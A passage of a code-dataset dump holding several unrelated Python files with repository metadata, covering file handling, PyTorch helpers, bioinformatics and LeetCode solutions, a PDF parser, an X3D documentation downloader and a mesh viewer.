file along with with()\r\nwith open(\"mydata.txt\",'w') as file:\r\n file.write(\" writing with with() func\")\r\n\r\n#reading file along with with()\r\nwith open(\"mydata.txt\") as file:\r\n print(file.read())\r\n\r\n\r\n# Split Function\r\n\r\nf=open(\"mydata.txt\",'r')\r\ndata=f.readlines()\r\nprint(data)\r\nfor line in data:\r\n words=line.split()\r\n print(words)\r\n\r\nprint(f.tell()) #get current file position\r\n\r\nprint(f.seek(0))# brings the cusor to the initial position\r\n","repo_name":"ankita-kanchan/python_training","sub_path":"Day_6/file_handling.py","file_name":"file_handling.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"27530486988","text":"n = int(input())\ndata = list(map(int,input().split()))\narr = []\n\nfor i in range(n-1):\n cnt = 0\n for j in range(i+1,n):\n if data[i]>data[j]:\n cnt+=1\n else:\n break\n arr.append(cnt)\nprint(max(arr))\n","repo_name":"sshee0123/Baekjoon","sub_path":"14659.py","file_name":"14659.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"43117638185","text":"# 一些常见的处理函数\nimport torch as t\nimport torch.nn as nn\nimport numpy as np\nimport random\nimport logging\nimport csv\n\ndef setup_seed(seed):\n '''\n func:设置随机种子\n :param seed:\n :return:\n '''\n t.manual_seed(seed)\n t.cuda.manual_seed(seed)\n t.cuda.manual_seed_all(seed)\n np.random.seed(seed)\n random.seed(seed)\n t.backends.cudnn.deterministic = True\n t.backends.cudnn.benchmark = False\n\n\ndef initial_weight(model):\n net = model\n for param in net.parameters():\n nn.init.normal_(param, mean=0, std=0.01)\n return net\n\n\ndef get_logger(filename, verbosity=1, name=None):\n level_dict = {0: logging.DEBUG, 1: logging.INFO, 2: logging.WARNING}\n formatter = logging.Formatter(\n \"[%(asctime)s][%(filename)s][line:%(lineno)d][%(levelname)s] %(message)s\"\n )\n logger = logging.getLogger(name)\n logger.setLevel(level_dict[verbosity])\n fh = logging.FileHandler(filename, \"w\")\n fh.setFormatter(formatter)\n logger.addHandler(fh)\n sh = logging.StreamHandler()\n sh.setFormatter(formatter)\n logger.addHandler(sh)\n return logger\n\n\n\ndef write_csv(results, file_name):\n # 写入test数据方便后期debug\n with open(file_name, 'w') as f:\n writer = csv.writer(f)\n writer.writerow(['id', 'label'])\n writer.writerows(results)","repo_name":"Data-Designer/Pytorch_Template","sub_path":"utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"31225183323","text":"import numpy as np\nimport os\ndef gen_q_a(word):\n answer = []\n question = []\n\n cur_word = word\n alphabet = list(set(list(word)))\n for k in range(len(alphabet)):\n cur_word = word\n for i in range(len(alphabet)):\n cur_word = cur_word.replace(alphabet[(i+k)%len(alphabet)],'_')\n question.append(cur_word)\n answer.append(alphabet[(i+k)%len(alphabet)])\n\n return question,answer\n\ndef get_dataPath(file_path='250k.txt',count = -1):\n all_q,all_a = [],[]\n \n\n root_path = file_path.split('/')[:-1]\n root_path = '/'.join(root_path)\n\n save_q_path = os.path.join(root_path,'all_q_{}.npy'.format(str(count)if count != -1 else ''))\n save_a_path = os.path.join(root_path,'all_a_{}.npy'.format(str(count)if count != -1 else ''))\n \n if os.path.exists(save_q_path) and os.path.exists(save_a_path):\n return save_q_path,save_a_path\n \n with open(file_path, 'r', encoding='utf-8') as f:\n words = f.readlines()\n for i, word in enumerate(words):\n word = word.strip()\n q,a = gen_q_a(word)\n all_q.extend(q)\n all_a.extend(a)\n if i == count:\n break\n print('-'*100)\n print(len(all_q))\n print(len(all_a))\n np.save(save_q_path,np.array(all_q))\n np.save(save_a_path,np.array(all_a))\n\n return 'all_q_{}.npy'.format(str(count)if count != -1 else ''), 'all_a_{}.npy'.format(str(count)if count != -1 else '')\n\nif __name__== '__main__':\n get_dataPath('250k.txt',count=-1)","repo_name":"Xanxus1111/Hangman-BERT","sub_path":"dataset/gendata.py","file_name":"gendata.py","file_ext":"py","file_size_in_byte":1542,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"39100405722","text":"from functools import partial\n\nfrom models.AbstractModel import AbstractModel\nfrom utils.DictUtils import DictUtils\nfrom utils.StringUtils import StringUtils\n\n\nclass TargetInfo(AbstractModel):\n\n def __init__(self, raw_json):\n super().__init__(raw_json)\n\n def clean(self):\n reference = TargetInfo.get_reference_with_depth(self.raw_json['reference'], 1)\n if reference == TargetInfo.BINARY_EXPRESSION:\n # handle binary expression of two TargetInfos\n result = {\n 'reference': reference,\n 'operation': StringUtils.remove_bracket_wrapping(self.raw_json['operation']),\n 'target_info_1': TargetInfo(self.raw_json['target_info_1']).clean(),\n 'target_info_2': TargetInfo(self.raw_json['target_info_2']).clean(),\n }\n elif reference == TargetInfo.UNARY_EXPRESSION:\n # handle unary expression of one TargetInfo\n result = {\n 'reference': reference,\n 'operation': StringUtils.remove_bracket_wrapping(self.raw_json['operation']),\n 'target_info': StringUtils.remove_bracket_wrapping(self.raw_json['target_info']),\n }\n\n else:\n # Simple TargetInfo\n result = {\n 'reference': reference\n }\n add_to_dict_partial = partial(DictUtils.add_to_dict_if_in_source, self.raw_json, result)\n add_to_dict_partial('unit_type')\n\n if not set(self.raw_json.keys()).issubset(TargetInfo.EXPECTED_LEAF_TARGET_INFO_KEYS):\n raise Exception(f\"Unexpected TargetInfo keys {set(self.raw_json.keys()).difference(TargetInfo.EXPECTED_LEAF_TARGET_INFO_KEYS)}\")\n\n return result\n\n BINARY_EXPRESSION = 'binary_expr'\n UNARY_EXPRESSION = 'unary_expr'\n\n EXPECTED_LEAF_TARGET_INFO_KEYS = ('reference', 'unit_type')\n","repo_name":"omgmod/attrib-json-uploader","sub_path":"models/TargetInfo.py","file_name":"TargetInfo.py","file_ext":"py","file_size_in_byte":1881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"71592848584","text":"# Find Patterns Forming Clumps in a String\n\nfrom collections import defaultdict\nfrom .ba1a import substrings\n\n\n# find (0-based) positions of k-length kmers within text\ndef find_kmers(text, k):\n x = defaultdict(list)\n for i, t in enumerate(substrings(text, k)):\n x[t] += [i]\n return x\n\n\n# Do a given array of kmers at positions p form a clump of t within L\n# given that each is k-long.\ndef has_clump(p, L, t, k):\n for i in range(len(p) - t + 1):\n if (p[i + t - 1] + k - p[i]) <= L:\n return True\n return False\n\n\ndef main(file):\n seq, ints = open(file).read().splitlines()\n k, L, t = list(map(int, ints.split()))\n kmers = find_kmers(seq, k)\n print(*[x for x in kmers if has_clump(kmers[x], L, t, k)])\n","repo_name":"danhalligan/rosalind.info","sub_path":"rosalind/bioinformatics_textbook_track/ba1e.py","file_name":"ba1e.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"81"} +{"seq_id":"20482528359","text":"\"\"\"l'exo veut que SC soit inferieur a n^2 et si possible O(1)\"\"\"\n\n\"\"\"# 1er sol #not my sol #max heap #TC O(n^2*logk) voir explication en bas #SC O(k) n==numOfRow==numOfColumn\n\nil suffit que le max heap contient k elements au max car a chaque fois qu'on depasse k element on fait pop ce qui sort le plus grand il nous restera donc dans la maxheap k plus petit element \nque l'element qui vient de sortir, si on repete cela jusqu'a qu'on fini de faire rentrer tout les element les element de la matrix alors les k element qui reste dans la heap sont les k plus petit element et comme on \nveut le k-eme plus petit element il suffit de faire pop ce qui va nous doneer le k-eme plus grand element des k plus petit element . \n\non ajoute tout les elements de la matrix a la maxheap row par row .\n\nle pb de cette solution c'est qu'on prend pas en compte le fait que les row et column sont dans l'ordre croissant , donc c'est pas bien. \n\napp : [[1, 5, 8], [2, 6, 15], [3, 9, 17]] , k=5\nca va faire rentrer -1,-5,-8,-2,-6 dans le minheap : heap=[-8,-6,-5,-2,-1] ensuite quand on va ajouter 15 ca donne : heap=[-15,-8,-6,-5,-2,-1] comme len(heap)>k==5 donc on fait sortir le max \ncomme ca on reste avec k plus petit element dans le heap : donc pop qui donne -15 .\nensuite on fait rentre -3 : heap=[-8,-6,-5,-2,-3,-1] comme len(heap)>k==5 donc on fait sortir le max comme ca on reste avec k plus petit element dans le heap : donc pop qui donne -8 .\nensuite on fait rentre -9 : heap=[-9,-6,-5,-2,-3,-1] comme len(heap)>k==5 donc on fait sortir le max comme ca on reste avec k plus petit element dans le heap : donc pop qui donne -9 .\nensuite on fait rentre -17 : heap=[-17,-6,-5,-2,-3,-1] comme len(heap)>k==5 donc on fait sortir le max comme ca on reste avec k plus petit element dans le heap : donc pop qui donne -17 .\non a fini de rentrer tout les valeurs de la matrix mainteneant notre heap contient les k plus petites valeurs de la matrix : heap=[-6,-5,-2,-3,-1]\nmaintenant on return le max qui sera la 5eme plus petite valeur : pop ns donne -6. \n\n\nTC: comme on peut voir que le heap peut etre au max k+1 donc O(k) donc pop et push coute O(logn). la double boucle coute donc O(m*n*logk)\nSC : O(k) car heap max de taille k+1 cette solution n'est donc pas optimal car on veut SC O(1).\n\"\"\"\nclass Solution: \n def kthSmallest(self, matrix, k):\n \n m, n = len(matrix), len(matrix[0]) # For general, matrix doesn't need to be a square #ds notre cas il suffit de faire n = len(matrix)\n \n maxHeap = []\n \n for r in range(m):\n for c in range(n): \n heappush(maxHeap, -matrix[r][c]) #-matrix[r][c] car heapify est pour minheap donc comme on veut max on fait la neg\n if len(maxHeap) > k: \n heappop(maxHeap)\n \n return -heappop(maxHeap)\n\n\n\"\"\"# 2eme sol meilleur SC #not my sol #min-heap #matrix #TC O(k*log(min(k,n))) voir explication en bas #SC O(min(k,n)) n==numOfColumn==numOfRow\n\nsol d'ici (2eme sol): https://leetcode.com/problems/kth-smallest-element-in-a-sorted-matrix/discuss/1322101/C%2B%2BJavaPython-MaxHeap-MinHeap-Binary-Search-Picture-Explain-Clean-and-Concise\n\nl'algo est le suivant on ajoute tout les elements de la premiere column au minheap ensuite on va en boucle :\npop ce qui donne le minimum puis push l'element sur la meme row qui vient apres l'element qui a ete pop , si il ya pas d'element apres on fait que pop et on continue la boucle.(cad il y'aura 2 \npop consecutive). \n\nl'idee est que au debut on a toute la premiere column ds la heap , il ya forcement le 1er plus petit element qui est le premier element de la matrix donc le pop va nous donner le 1er plus petit\nelement.\nensuite le 2 eme plus petit element peut etre (ou il ya les X) : \n\n pop| X | | \n --------------- donc on ajoute l'element de droite de l'element qui vient d'etre pop car celui d'en bas est deja dans le heap, puis on fait pop disons que ca donne ca :\n X | | | \n --------------- \n | | | \n ---------------\n | | | \n \n | X | | \n --------------- donc maintenant l'element le plus petit peut etre :\n pop| | | \n --------------- \n | | | \n ---------------\n | | | \n \n | X | | \n --------------- or le seul element qui n'est pas dans le heap est celui a droite du pop donc on ajoute celui a droite du pop ds le heap puis on fait pop ce qui ns donne le \n pop| X | | 2 eme plus petit element, disons que le pop et le suivant:\n --------------- \n X | | | \n ---------------\n | | | \n \n \n | X | | \n --------------- donc maintenant l'element le plus petit peut etre : \n |pop| | \n --------------- \n X | | | \n ---------------\n | | | \n\n | X | | \n --------------- or le seul element qui n'est pas dans le heap est celui a droite du pop donc on ajoute celui a droite du pop ds le heap puis on fait pop ce qui ns donne le \n |pop| X | 3 eme plus petit element, disons que le pop et le suivant:\n --------------- \n X | | | \n ---------------\n | | | \n\n | X | | \n --------------- \n | |pop| donc maintenant l'element le plus petit peut etre : \n --------------- \n X | | | \n ---------------\n | | | \n \n | X | | \n --------------- \n | |pop| X or le seul element qui n'est pas dans le heap est celui a droite du pop donc on ajoute celui a droite du pop ds le heap puis on fait pop ce qui ns donne le \n --------------- 4 eme plus petit element, disons que le pop et le suivant:\n X | | | \n ---------------\n | | | \n \n | X | | \n --------------- \n | | |pop donc maintenant l'element le plus petit peut etre : \n --------------- \n X | | | \n ---------------\n | | | \n\n | X | | \n --------------- \n | | |pop cad on a pas besoin de rajouter quoi que ce soit ds le heap car tout les options y sont donc on ajoute rien on passe directe au pop: \n --------------- \n X | | | \n ---------------\n | | | \n\n\napp: [[1, 5, 8, 10], [2, 6, 15, 16], [3, 9, 17, 18], [12, 16, 19, 20]] , k=16\n\n-init :on ajoute au minheap 1 2 3 12 : 1 | 5 | 8 | 10 minheap=[1,2,3,12] on pop de minheap ca donne 1 c'est notre premier plus petit element \n ---------------\n 2 | 6 | 15| 16 \n --------------- \n 3 | 9 | 17| 18 \n ---------------\n 12 |16 | 19| 20\n \n-on ajoute au minheap 5 (la droite du pop): | 5 | 8 | 10 minheap=[2,3,5,12] on pop de minheap ca donne 2 c'est notre 2e plus petit element\n ---------------\n 2 | 6 | 15| 16 \n --------------- \n 3 | 9 | 17| 18 \n ---------------\n 12 |16 | 19| 20\n \n-on ajoute au minheap 6 (la droite du pop): | 5 | 8 | 10 minheap=[3,5,6,12] on pop de minheap ca donne 3 c'est notre 3e plus petit element\n ---------------\n | 6 | 15| 16 \n --------------- \n 3 | 9 | 17| 18 \n ---------------\n 12 |16 | 19| 20 \n \n-on ajoute au minheap 9 (la droite du pop): | 5 | 8 | 10 minheap=[5,6,9,12] on pop de minheap ca donne 5 c'est notre 4e plus petit element\n ---------------\n | 6 | 15| 16 \n --------------- \n | 9 | 17| 18 \n ---------------\n 12 |16 | 19| 20 \n \n-on ajoute au minheap 8 (la droite du pop) : | | 8 | 10 minheap=[6,8,9,12] on pop de minheap ca donne 6 c'est notre 5e plus petit element\n ---------------\n | 6 | 15| 16 \n --------------- \n | 9 | 17| 18 \n ---------------\n 12 |16 | 19| 20 \n \n-on ajoute au minheap 15 (la droite du pop): | | 8 | 10 minheap=[8,9,12,15] on pop de minheap ca donne 8 c'est notre 6e plus petit element\n ---------------\n | | 15| 16 \n --------------- \n | 9 | 17| 18 \n ---------------\n 12 |16 | 19| 20 \n \n-on ajoute au minheap 10 (la droite du pop): | | | 10 minheap=[9,10,12,15] on pop de minheap ca donne 9 c'est notre 7e plus petit element\n ---------------\n | | 15| 16 \n --------------- \n | 9 | 17| 18 \n ---------------\n 12 |16 | 19| 20 \n \n-on ajoute au minheap 17 (la droite du pop) : | | | 10 minheap=[10,12,15,17] on pop de minheap ca donne 10 c'est notre 8e plus petit element\n ---------------\n | | 15| 16 \n --------------- \n | | 17| 18 \n ---------------\n 12 |16 | 19| 20 \n \n-on ajoute rien car il ya rien a droite du pop: | | | minheap=[12,15,17] on pop de minheap ca donne 12 c'est notre 9e plus petit element\n ---------------\n | | 15| 16 \n --------------- \n | | 17| 18 \n ---------------\n 12 |16 | 19| 20 \n \n-on ajoute 16 (la droite du pop): | | | minheap=[15,16,17] on pop de minheap ca donne 15 c'est notre 10e plus petit element\n ---------------\n | | 15| 16 \n --------------- \n | | 17| 18 \n ---------------\n |16 | 19| 20 \n \n-on ajoute 16(la droite du pop): | | | minheap=[16,16,17] on pop de minheap ca donne 16 c'est notre 11e plus petit element\n ---------------\n | | | 16 \n --------------- \n | | 17| 18 \n ---------------\n |16 | 19| 20 \n\n-on ajoute 19 (la droite du pop): | | | minheap=[16,17,19] on pop de minheap ca donne 16 c'est notre 12e plus petit element\n ---------------\n | | | 16 \n --------------- \n | | 17| 18 \n ---------------\n | | 19| 20 \n \n-on ajoute rien car il ya rien a droite du pop: | | | minheap=[17,19] on pop de minheap ca donne 17 c'est notre 13e plus petit element\n ---------------\n | | | \n --------------- \n | | 17| 18 \n ---------------\n | | 19| 20 \n \n-on ajoute 18 (la droite du pop): | | | minheap=[18,19] on pop de minheap ca donne 18 c'est notre 14e plus petit element\n ---------------\n | | | \n --------------- \n | | | 18 \n ---------------\n | | 19| 20 \n \n-on ajoute rien car il ya rien a droite du pop: | | | minheap=[19] on pop de minheap ca donne 19 c'est notre 15e plus petit element\n ---------------\n | | | \n --------------- \n | | | \n ---------------\n | | 19| 20 \n \n-on ajoute 20 (la droite du pop): | | | minheap=[20] on pop de minheap ca donne 20 c'est notre 16e plus petit element\n ---------------\n | | | \n --------------- \n | | | \n ---------------\n | | | 20 \n \n \n TC : comme on peut le constater le heap ne sera max de la taille min(k,m) car au debut on l'initialise avec min(k,m) valeurs puis on fait pop et push ou que pop seul donc on va jamais depasser \n min(k,m) valeurs . donc chaque pop ou push est log(min(k,m)) donc le premier for coute O(min(k, m)*log(min(k,m))) et le deuxieme coute O(k*2*log(min(k,m))) (*2 car pop et push) \n donc O(k*log(min(k,m))) donc au total on a O(min(k, m)*log(min(k,m))+k*log(min(k,m))) qui est egale a O(k*log(min(k,m))) car si k min alors ca revient a O(k*log(min(k,m))+k*log(min(k,m))) \n donc ca revient a O(k*log(min(k,m))) et si m est min ca rvien a O(m*log(min(k,m))+k*log(min(k,m))) et comme m int:\n m, n = len(matrix), len(matrix[0]) # For general, the matrix need not be a square , m==numOfRow n=numOfColumn\n minHeap = [] # contient des tuples (val,row,column)\n \n # ajout de la premiere column a heap \n # on rajoute jusqu'a la row (min(k,m)) car si k>m il faut rajouter m car si on rajoute k on va depasser la taille de la matrix et si kx alors tout les cases avec les X sont forcement sup a x\n --------------- donc comme sup etait a la column 2 (idx commence a 0) alors maintenant un nombre inf a x peut se trouver que a column-=1 cad column==1 \n | |sup|X dans la meme range et dans les ranger inferieur (les ranger sup on deja etait pris en charge) comme ca :\n --------------- \n | | X |X \n ---------------\n | | X |X \n \n \n | | | \n --------------- \n inf|inf|sup| donc si on trouve dans row 1 column 1 un nombre inf on rajoute 2 au compte puis on desenc a la row 2 en restant sur la mm column cad 1,etc...\n --------------- \n inf|inf| | \n ---------------\n inf|inf| | \n\n\n\nsource :\nhttps://leetcode.com/problems/kth-smallest-element-in-a-sorted-matrix/discuss/1322101/C%2B%2BJavaPython-MaxHeap-MinHeap-Binary-Search-Picture-Explain-Clean-and-Concise\nhttps://leetcode.com/problems/kth-smallest-element-in-a-sorted-matrix/discuss/1321862/Python-Binary-search-solution-explained\n\"\"\"\n\nclass Solution: \n def kthSmallest(self, matrix, k):\n m, n = len(matrix), len(matrix[0]) # For general, the matrix need not be a square\n\n def countLessOrEqual(x):\n cnt = 0\n col = n - 1 # start with the rightmost column\n for row in range(m):\n while col >= 0 and matrix[row][col] > x: col -= 1 # decrease column until matrix[r][c] <= x\n cnt += (col + 1)\n return cnt\n\n left, right = matrix[0][0], matrix[-1][-1] \n while left < right: # O(log A) iteration\n mid = (left + right) // 2\n if countLessOrEqual(mid) < k: # O(row+column) donc ici O(n)\n left = mid + 1 # try to looking for a bigger value in the right side\n else:\n right = mid # try to looking for a smaller value in the left side\n return left\n","repo_name":"rtn75000/leetcode-pb","sub_path":"378. Kth Smallest Element in a Sorted Matrix/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":26594,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"31423177912","text":"import function\nimport pages\nimport re\n\nstart = \"\"\n\nUsername_List = function.username_list()\n\n\nwhile start == \"\" :\n print('***** Restaurant System ******')\n print('Please Enter 1 for sign up')\n print('please enter 2 to Login')\n print('Please enter 3 to exit')\n choice = int(input('Enter response:'))\n if choice == 1:\n pages.signup()\n elif choice == 2:\n pages.login()\n elif choice == 3:\n break\n else:\n print('invalid response ')\n start = \"\"","repo_name":"EvansRobbie/RestrauntSystem","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"7521984709","text":"import aspose.words as aw\nimport logging\nfrom environs import Env\nfrom pathlib import Path\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef get_text_from_document(file):\n document = aw.Document(file)\n return document.get_text()\n\n\ndef get_payment_info(all_text):\n split_text_head, split_text_tail, *garbage = all_text.split('УСТАНОВИЛ:')\n head_cursor_pos = split_text_head.find('(тип должника: физическое лицо): ') + len(\n '(тип должника: физическое лицо): '\n )\n head_cursor_pos = split_text_head.find('(тип должника: физическое лицо): ') + len(\n '(тип должника: физическое лицо): '\n )\n user, inn, all_info = split_text_head[head_cursor_pos:].split(', ', 2)\n tail_cursor_pos = split_text_tail.find('Имущество должника:\\r') + len(\n 'Имущество должника:\\r'\n )\n tail_cursor_end_pos = split_text_tail.find('.\\r', tail_cursor_pos)\n user_accounts = split_text_tail[tail_cursor_pos:tail_cursor_end_pos]\n user_accounts_elems = user_accounts.split('\\r')\n user_bank_accounts = []\n for elem in user_accounts_elems:\n if elem[:4].isdigit():\n user_bank_accounts.append(elem)\n\n tail_cursor_pos = split_text_tail.find('Реквизиты для перечисления задолженности:\\r') + len(\n 'Реквизиты для перечисления задолженности:\\r'\n )\n tail_cursor_end_pos = split_text_tail.find('.', tail_cursor_pos)\n payment_info = split_text_tail[tail_cursor_pos:tail_cursor_end_pos]\n row_payment_info = []\n [row_payment_info.append(row) for row in payment_info.split('; ')]\n\n return user, inn, user_bank_accounts, row_payment_info\n\n\nclass Payment:\n\n def __init__(self, user, inn, user_bank_accounts, row_payment_info):\n self.user = user\n self.inn = inn\n self.user_bank_accounts = user_bank_accounts\n self.row_payment_info = row_payment_info\n\n def __str__(self):\n return f'{self.user}, {self.inn}, {self.user_bank_accounts}, {self.row_payment_info}'\n\n\nif __name__ == '__main__':\n logging.basicConfig(\n format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n level=logging.INFO,\n filename='working_log.log',\n filemode='w',\n )\n\n env = Env()\n env.read_env()\n\n try:\n documents_path = env.str('DIRECTORY')\n path_list = Path(documents_path).glob('*.pdf')\n for file_path in path_list:\n text = get_text_from_document(str(file_path))\n info = get_payment_info(text)\n print(Payment(*info))\n logger.info(f'{file_path} successful!')\n except TypeError as err:\n logger.exception(err)\n\n","repo_name":"VneTraffiqua/fromPDFtoTEXT","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"35608355403","text":"import xml.etree.cElementTree as etree\nimport urllib.request\nfrom alive_progress import alive_bar\nfrom os import mkdir\n\ndef procesarElemento():\n print('------------------------------------------------------')\n elemento = input('Introduzca un elemento de X3D (p.e. \"Sphere\") = ')\n try:\n mkdir(elemento)\n except:\n pass\n print ('En proceso...')\n with alive_bar(1) as bar:\n try:\n urllib.request.urlretrieve('https://www.web3d.org/specifications/X3dSchemaDocumentation3.3/x3d-3.3_'+elemento+'.html', './'+elemento+'/'+elemento+'.html')\n except:\n print ('Ha habido un problema. Revisa que el elemento introducido sea correcto.')\n return\n bar()\n print ('Se ha descargado el html en la carpeta \"'+elemento+'\"')\n print('------------------------------------------------------')\n\ndef procesarX3D():\n print('------------------------------------------------------')\n archivoX3D = input('Introduzca un archivo X3D = ')\n archivosinextension = archivoX3D[:-4]\n try:\n arbol = etree.iterparse(archivoX3D, events=('start', 'end'))\n except IOError:\n print ('No se encuentra el archivo ', archivoX3D)\n return\n except etree.ParseError:\n print(\"Error procesando en el archivo X3D = \", archivoX3D)\n return\n \n\n print ('Procesando el archivo...')\n elementosLeidos = []\n try:\n mkdir(archivosinextension)\n except:\n pass\n for event, elem in arbol:\n if elem.tag not in elementosLeidos:\n elementosLeidos.append(elem.tag)\n with alive_bar(len(elementosLeidos)) as bar:\n for elemento in elementosLeidos:\n urllib.request.urlretrieve('https://www.web3d.org/specifications/X3dSchemaDocumentation3.3/x3d-3.3_'+elemento+'.html', './'+archivosinextension+'/'+elemento+'.html')\n bar()\n\n print ('Se han descargado los html en la carpeta \"'+archivosinextension+'\"')\n print('------------------------------------------------------')\n\n\n\n\ndef main(): \n while True:\n print('##########################################################')\n print('1. Descargar documentación de los elementos de un archivo X3D.\\n2. [EXTRA] Descargar documentación de un elemento específico.\\n© Manuel López Zürcher')\n print('##########################################################')\n opcion = input('Elige una opción: ')\n if opcion == '1':\n procesarX3D()\n elif opcion == '2':\n procesarElemento()\n print('\\n\\n')\n \n\nif __name__ == \"__main__\":\n main()","repo_name":"uo282249/SEW-Practicas","sub_path":"practica2/Ejercicio-3/programax3d.py","file_name":"programax3d.py","file_ext":"py","file_size_in_byte":2609,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"25564290834","text":"#!/usr/bin/env python3\r\n# Mission: Provide additonal *args & **kwargs examples.\r\n# File: KA9004.py\r\n\r\n### Problem:\r\n##\r\n##def fun1(one, *args, **kwargs):\r\n## print(one, *args, f'{**kwargs}')\r\n##\r\n##fun1('zParam', 'a','b', a='3', b='4')\r\n\r\ndef fun2(two, *args, **kwargs):\r\n print(two, *args, **kwargs)\r\n\r\nfun2('Two')\r\n\r\nfun2('Two', 'hi', 'we', 'got ...')\r\n\r\nfun2('Two', 'hi', 'we', 'got ...', sep='|', end='$')\r\n\r\nfun2('Two', 'hi', 'we', 'got ...', a='|', b='$')\r\n","repo_name":"Python3-Training/DatMan","sub_path":"QuestJSOB/KASeries/KA9000/KA9004.py","file_name":"KA9004.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"35707605562","text":"import numpy as np\nimport pymeshlab\nimport polyscope as ps\nimport polyscope.imgui as psim\n\n\nclass Mesh:\n '''This class is to keep track of the Meshes in the Program'''\n def __init__(self, MeshSet, name, color, radius = 0.001, mode = 'quad'):\n\n\n self.duty = MeshSet\n self.Mesh = MeshSet.current_mesh()\n self.Mesh.set_label(name)\n self.color= color\n self.name = name\n self.__radius = radius\n self.VisibleMesh=self.register_mesh(mode)\n self.id = self.Mesh.id()\n\n\n\n def Update(self):\n self.VisibleMesh.remove()\n self.VisibleMesh=self.register_mesh()\n\n def register_mesh(self, mode='quad'):\n if self.Mesh.is_point_cloud():\n VisibleMesh=ps.register_point_cloud(self.name, self.Mesh.vertex_matrix(), color=self.color)\n if mode == 'quad':\n VisibleMesh.set_point_render_mode('quad')\n VisibleMesh.set_radius(self.__radius)\n else:\n VisibleMesh=ps.register_surface_mesh(self.name, self.Mesh.vertex_matrix(), self.Mesh.face_matrix(), color=self.color)\n\n return VisibleMesh\n\n def set_enabled(self, enabled):\n self.VisibleMesh.set_enabled(enabled)\n\n def set_current_mesh(self):\n self.duty.set_current_mesh(self.id)\n\n def __del__(self):\n self.VisibleMesh.remove()\n self.duty.set_current_mesh(self.id)\n self.duty.delete_current_mesh()\n","repo_name":"jabruniessner/GeoV","sub_path":"Polymeshlabfusion.py","file_name":"Polymeshlabfusion.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"7799436687","text":"#! /usr/bin/env python\n# _*_ coding: latin-1 _*_\n \nimport sys\n\nfrom jtlib import *\nfrom jtlib.jtfilefilter import jtfilepattern\n\n\nkepnezo=sys.modules[__name__] # az aktuális modul objektum\n\nwd=None\nch=None\nix=0\n\n\ndef main():\n #jtsocket.jtautostart()\n msgloop(makedlg())\n \n\ndef msgloop(dlg):\n\n dlg.show()\n\n while 1:\n\n timeout=float(dlg.var.speed.selecteditem()[:3]) \n\n msg=dlg.getmessage(timeout*1000)\n\n if msg==None:\n break\n\n elif not msg:\n if not dlg.var.stop.state and kepnezo.ch: \n forward(dlg)\n \n elif msg==\"stop\":\n if not dlg.var.stop.state and kepnezo.ch: \n forward(dlg)\n \n\n\ndef forward(dlg):\n kepnezo.ix=(kepnezo.ix+1) % len(kepnezo.ch)\n kep=kepnezo.ch[kepnezo.ix]\n dlg.var.htm.changeurl('')\n dlg.var.fdesc.changetext(kep)\n \n\ndef makedlg():\n\n dlg=jtdialog.new(4,16,24,96)\n dlg.caption(\"Képnézõ Demó\")\n dlg.layout=\"vbox\"\n \n htm=dlg.add(jthtmlarea.new()) \n #htm.bottom=32\n htm.name=\"htm\"\n\n bar=dlg.add(jttoolbar.new())\n #bar=dlg.add(jtpanel.new())\n #bar.layout=\"hbox\"\n\n get=bar.additem(jtget.new()) \n get.name=\"fdesc\"\n get.focusable=0\n\n lst=bar.additem(jtcombo.new()) \n lst.name=\"speed\"\n lst.tooltip=\"Beállítja a képváltás sebességét\"\n lst.valid=1\n lst.additem(\" 4 másodperc\")\n lst.additem(\" 8 másodperc\")\n lst.additem(\" 15 másodperc\")\n lst.additem(\" 30 másodperc\")\n lst.additem(\" 60 másodperc\")\n lst.additem(\"600 másodperc\")\n \n chk=bar.additem(jtcheck.new()) \n chk.name=\"stop\"\n chk.text=\"Várakozik\"\n chk.tooltip=\"Megállítja/továbbindítja a képek cseréjét\"\n chk.varput(0)\n chk.valid=1\n\n but=bar.additem(jtpush.new()) \n but.text=\"Kép választás\"\n but.icon=\"icons/22/fileopen.png\" \n but.tooltip=\"Kiválasztja a megjelenítendõ képeket\"\n but.actionblock=lambda dlg:valaszt(dlg)\n \n dlg.varinst(\"kepnezo\")\n \n return dlg\n\n\ndef valaszt(dlg):\n #jtutil.inspect(dlg)\n \n fc=jtfilechooser.new() \n \n if kepnezo.wd:\n fc.workdir=kepnezo.wd\n\n fc.caption=\"Képválasztó\"\n fc.text=\"Megjelenít\"\n fc.multiselect=1\n fc.selectmode=\"F\" # csak filéket\n\n ff=fc.addfilter(jtfilefilter.new()) \n ff.description=\"JPEG fájlok (*.jpeg *.jpg)\"\n ff.addpattern(\"*.jpeg\")\n ff.addpattern(\"*.jpg\")\n ff.regexdir=jtfilepattern(\"*\")\n\n ff=fc.addfilter(jtfilefilter.new()) \n ff.description=\"GIF fájlok (*.gif)\"\n ff.addpattern(\"*.gif\")\n ff.regexdir=jtfilepattern(\"*\")\n\n 